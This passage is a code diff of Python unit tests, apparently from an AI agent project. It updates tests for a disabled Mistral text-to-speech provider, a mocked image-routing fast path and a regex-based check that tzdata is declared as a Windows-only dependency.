|
||||
audio_data=base64.b64encode(b"audio").decode()
|
||||
)
|
||||
|
||||
output_path = str(tmp_path / "out.mp3")
|
||||
with patch("tools.tts_tool._load_tts_config", return_value={"provider": "mistral"}):
|
||||
result = json.loads(text_to_speech_tool("Hello", output_path=output_path))
|
||||
|
||||
assert result["success"] is True
|
||||
assert result["provider"] == "mistral"
|
||||
mock_mistral_module.audio.speech.complete.assert_called_once()
|
||||
assert result["success"] is False
|
||||
assert "temporarily disabled" in result["error"]
|
||||
assert "quarantined" in result["error"]
|
||||
# SDK must not have been called.
|
||||
mock_mistral_module.audio.speech.complete.assert_not_called()
|
||||
|
||||
def test_dispatcher_returns_error_when_sdk_not_installed(self, tmp_path, monkeypatch):
|
||||
"""Same disabled message regardless of SDK presence."""
|
||||
import json
|
||||
|
||||
from tools.tts_tool import text_to_speech_tool
|
||||
@@ -196,7 +203,7 @@ class TestTtsDispatcherMistral:
|
||||
)
|
||||
|
||||
assert result["success"] is False
|
||||
assert "mistralai" in result["error"]
|
||||
assert "temporarily disabled" in result["error"]
|
||||
|
||||
|
||||
class TestCheckTtsRequirementsMistral:
|
||||
|
||||
@@ -157,8 +157,14 @@ class TestHandleVisionAnalyzeFastPath:
|
||||
from agent.auxiliary_client import set_runtime_main, clear_runtime_main
|
||||
set_runtime_main("openrouter", "anthropic/claude-opus-4.6")
|
||||
try:
|
||||
coro = _handle_vision_analyze({"image_url": str(img), "question": "?"})
|
||||
result = asyncio.get_event_loop().run_until_complete(coro)
|
||||
# Mock decide_image_input_mode to always return "native" so the
|
||||
# fast path fires regardless of model-catalog state in CI.
|
||||
with patch(
|
||||
"agent.image_routing.decide_image_input_mode",
|
||||
return_value="native",
|
||||
):
|
||||
coro = _handle_vision_analyze({"image_url": str(img), "question": "?"})
|
||||
result = asyncio.get_event_loop().run_until_complete(coro)
|
||||
finally:
|
||||
clear_runtime_main()
|
||||
|
||||
|
||||
@@ -420,12 +420,21 @@ class TestTzdataDependencyDeclared:
|
||||
root = Path(__file__).resolve().parents[2]
|
||||
source = (root / "pyproject.toml").read_text(encoding="utf-8")
|
||||
# The dependency line should be conditional on sys_platform == 'win32'
|
||||
# and should NOT be in the core dependencies for Linux/macOS.
|
||||
assert (
|
||||
'tzdata>=2023.3; sys_platform == \'win32\'' in source
|
||||
or "tzdata>=2023.3; sys_platform == 'win32'" in source
|
||||
or 'tzdata>=2023.3; sys_platform == "win32"' in source
|
||||
), "tzdata must be a Windows-only dep in pyproject.toml dependencies"
|
||||
# and should NOT be in the core dependencies for Linux/macOS. We do
|
||||
# not care about the exact pinned version (which is bumped over time)
|
||||
# — only that tzdata is declared with a win32 marker. This is an
|
||||
# invariant check, not a snapshot test.
|
||||
import re
|
||||
# Match `"tzdata` … `; sys_platform == 'win32'"` allowing any version
|
||||
# specifier in between (==X.Y.Z, >=X.Y.Z,<W, etc.) and either quote
|
||||
# style on the marker.
|
||||
pattern = re.compile(
|
||||
r'"tzdata[^"]*;\s*sys_platform\s*==\s*[\'"]win32[\'"]\s*"'
|
||||
)
|
||||
assert pattern.search(source), (
|
||||
"tzdata must be a Windows-only dep in pyproject.toml dependencies "
|
||||
"(declared with a `; sys_platform == 'win32'` marker)"
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
Reference in New Issue
Block a user